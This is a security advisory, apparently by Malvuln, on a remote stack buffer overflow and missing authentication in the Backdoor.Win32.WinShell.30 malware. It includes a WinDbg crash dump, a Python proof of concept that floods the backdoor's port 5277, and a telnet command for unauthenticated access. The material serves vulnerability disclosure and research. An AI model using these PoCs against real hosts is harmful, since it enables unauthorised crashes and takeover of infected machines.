Share
## https://sploitus.com/exploit?id=PACKETSTORM:161044
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/56a2b135c8d35561ea5b04694155eb77.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.WinShell.30  
Vulnerability: Remote Stack Buffer Overflow / Missing Authentication  
Description: WinShell.30 listens on TCP port 5277 for commands. Attackers or responders who can reach the infected host can trigger a buffer overflow by sending a large string of junk characters in place of an expected command. This will overwrite EIP and potentially allow control of the malwares execution flow. Moreover, WinShell.30 also lacks any type of authentication for inbound connections, which can allow anyone to take over the infected system.  
Type: PE32  
MD5: 56a2b135c8d35561ea5b04694155eb77  
Vuln ID: MVID-2021-0040  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 01/20/2021  
  
Memory Dump:  
(1c98.1010): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000  
eip=41414141 esp=02621428 ebp=02621448 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
  
  
0:002> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe  
  
FAULTING_IP:   
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+1703  
00401703 88843d00ffffff mov byte ptr [ebp+edi-100h],al  
  
EXCEPTION_RECORD: 0271f7bc -- (.exr 0x271f7bc)  
ExceptionAddress: 00401703 (Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+0x00001703)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 02720000  
Attempt to write to address 02720000  
  
PROCESS_NAME: Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+1703  
00401703 88843d00ffffff mov byte ptr [ebp+edi-100h],al  
  
FAILED_INSTRUCTION_ADDRESS:   
+1703  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: 41414141  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 41414141  
  
CONTEXT: 0271f80c -- (.cxr 0x271f80c)  
eax=ffffff41 ebx=000001ec ecx=e9eec411 edx=00000000 esi=000001ec edi=00000180  
eip=00401703 esp=0271fc6c ebp=0271ff80 iopl=0 nv up ei ng nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286  
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+0x1703:  
00401703 88843d00ffffff mov byte ptr [ebp+edi-100h],al ss:002b:02720000=??  
Resetting default scope  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 41414141 to 00401703  
  
FRAME_ONE_INVALID: 1  
  
STACK_TEXT:   
0271fc6c 00401703 backdoor_win32_winshell_30+0x1703  
0271ff88 41414141 unknown!printable+0x0  
0271ff8c 41414141 unknown!printable+0x0  
0271ff90 41414141 unknown!printable+0x0  
0271ff94 41414141 unknown!printable+0x0  
0271ff98 41414141 unknown!printable+0x0  
0271ff9c 41414141 unknown!printable+0x0  
0271ffa0 41414141 unknown!printable+0x0  
0271ffa4 41414141 unknown!printable+0x0  
0271ffa8 41414141 unknown!printable+0x0  
0271ffac 41414141 unknown!printable+0x0  
0271ffb0 41414141 unknown!printable+0x0  
0271ffb4 41414141 unknown!printable+0x0  
0271ffb8 41414141 unknown!printable+0x0  
0271ffbc 41414141 unknown!printable+0x0  
0271ffc0 41414141 unknown!printable+0x0  
0271ffc4 41414141 unknown!printable+0x0  
0271ffc8 41414141 unknown!printable+0x0  
0271ffcc 41414141 unknown!printable+0x0  
0271ffd0 41414141 unknown!printable+0x0  
0271ffd4 41414141 unknown!printable+0x0  
0271ffd8 41414141 unknown!printable+0x0  
0271ffdc 41414141 unknown!printable+0x0  
0271ffe0 41414141 unknown!printable+0x0  
0271ffe4 41414141 unknown!printable+0x0  
0271ffe8 41414141 unknown!printable+0x0  
0271ffec 41414141 unknown!printable+0x0  
0271fff0 41414141 unknown!printable+0x0  
0271fff4 41414141 unknown!printable+0x0  
0271fff8 41414141 unknown!printable+0x0  
0271fffc 41414141 unknown!printable+0x0  
02720000 41414141 unknown!printable+0x0  
  
  
STACK_COMMAND: .cxr 000000000271F80C ; kb ; dds 271fc6c ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: backdoor_win32_winshell_30+1703  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77  
  
IMAGE_NAME: Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 3bfa9e51  
  
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_winshell_30+1703  
  
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe!Unknown  
  
  
  
Exploit/PoC-1:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=5277  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
PBARBAR = "A"*1875+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"  
s.send(PBARBAR)  
s.close()  
  
print("Backdoor.Win32.WinShell.30 / Remote Stack Buffer Overflow");  
print("MD5: 56a2b135c8d35561ea5b04694155eb77");  
print("By Malvuln");  
  
  
if __name__=="__main__":  
doit()  
  
Exploit/PoC-2:  
TELNET x.x.x.x 5277  
  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).